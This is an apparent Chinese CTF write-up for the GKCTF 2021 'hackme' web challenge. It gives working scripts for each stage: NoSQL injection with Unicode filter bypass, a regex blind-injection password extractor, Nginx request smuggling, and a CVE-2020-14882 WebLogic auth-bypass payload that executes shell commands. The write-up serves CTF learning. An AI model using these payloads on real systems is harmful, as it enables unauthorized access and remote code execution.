[GKCTF 2021]hackme 进入题目后,题目如上所示,查看页面源代码 提示nosql,这里推荐WHOAMI大佬的文章 这里源代码我们也看到了php头,那我们就看大佬文章里php中的nosql注入部分就行
这里数据包是json格式,我们试一下重言式注入
被过滤了,提示也说了,可以用Unicode绕过
成功绕过,这里放的是ne,意思为不等于,可以再试试eq,我把用户名的换成了eq,可以看到这个报错,应该是用户名对了,密码不对(ne和eq前面要有$符号的,csdn不知道为啥写不出来) 既然如此拿regex盲注吧
import string
import requests
characters = string.ascii_letters + string.digits # [A-Za-z0-9]
password = ""
payload = """{"username":{"$\\u0065\\u0071": "admin"}, "password": {"$\\u0072\\u0065\\u0067\\u0065\\u0078": "^%s"}}"""
url = "http://node4.buuoj.cn:25717/login.php"
for i in range(50):
for character in characters:
response = requests.post(url=url, data=(payload % (password + character)),
headers={"Content-Type": "application/json; charset=UTF-8"})
responseContent = response.content.decode()
print(f"[+] Trying {character} with response {responseContent}")
response.close()
if "登录了" in responseContent:
password += character
print(f"[*] Found new character {character} with password now which is {password}")
break
这里我就直接贴大佬的脚本了,这题复现也是参考了大佬的WP,这题我确实不会,之前这方面确实做的太少了
回到正题,可以得出用户 admin 的密码为 42276606202db06ad1f29ab6b4a1307f
登陆后有这么个东西 试了下有任意文件读取 读/flag提示咋内网
这里没有ssrf的地方,结合提示"注意server和其配置文件" 先继续看他的配置文件,nginx配置文件/usr/local/nginx/conf/nginx.conf
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
#tcp_nopush on;
#keepalive_timeout 0;
keepalive_timeout 65;
server {
listen 80;
error_page 404 404.php;
root /usr/local/nginx/html;
index index.htm index.html index.php;
location ~ \.php$ {
root /usr/local/nginx/html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
resolver 127.0.0.11 valid=0s ipv6=off;
resolver_timeout 10s;
# weblogic
server {
listen 80;
server_name weblogic;
location / {
proxy_set_header Host $host;
set $backend weblogic;
proxy_pass http://$backend:7001;
}
}
}
可以发现确实在内网有 host 为 weblogic 的服务,但是没有提供可 SSRF 的位置。可以发现服务端使用的 Nginx 版本为 1.17.6,而 Ngnix < 1.17.7 存在请求走私的漏洞,因此进行尝试。
使用如下载荷走私到 WebLogic Console 的登录页面。
GET /undefined HTTP/1.1
Host: node4.buuoj.cn:28946
Content-Length: 0
Transfer-Encoding: chunked
GET /console/login/LoginForm.jsp HTTP/1.1
Host: weblogic
这里我拿socket发的
import socket
sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("node4.buuoj.cn", 25145))
payload = b'GET /a HTTP/1.1\r\nHost: node3.buuoj.cn\r\nContent-Length: 66\r\n\r\nGET /console/login/LoginForm.jsp HTTP/1.1\r\nHost: weblogic\r\n\r\n'
sSocket.send(payload)
sSocket.settimeout(2)
response = sSocket.recv(2147483647)
while len(response) > 0:
print(response.decode())
try:
response = sSocket.recv(2147483647)
except:
break
sSocket.close()
得到weblogic版本为12.2.1.4.0,这个版本正好在 CVE-2020-14882 的范围内,使用CVE-2020-14882,%252e%252e绕过登录直接打
import socket
sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("node4.buuoj.cn", 25369))
payload = b'HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1\r\nHost:weblogic\r\ncmd: /readflag\r\n\r\n'
#payload = b'GET /a HTTP/1.1\r\nHost: node3.buuoj.cn\r\nContent-Length: 66\r\n\r\nGET /console/login/LoginForm.jsp HTTP/1.1\r\nHost: weblogic\r\n\r\n'
sSocket.send(payload)
sSocket.settimeout(2)
response = sSocket.recv(2147483647)
while len(response) > 0:
print(response.decode())
try:
response = sSocket.recv(2147483647)
except:
break
sSocket.close()
成功拿到flag
总结 这题算是让我学习了一下nosql注入吧,还有就是没有ssrf点的时候可以考虑下请求走私,还有个迷惑的地方是最后cve的那个载荷怎么弄出来的还需要继续学习
参考文章 https://www.lemonprefect.cn/zh-CN/posts/751c0b7.html#hackme http://w4nder.top/?p=490#hackme
|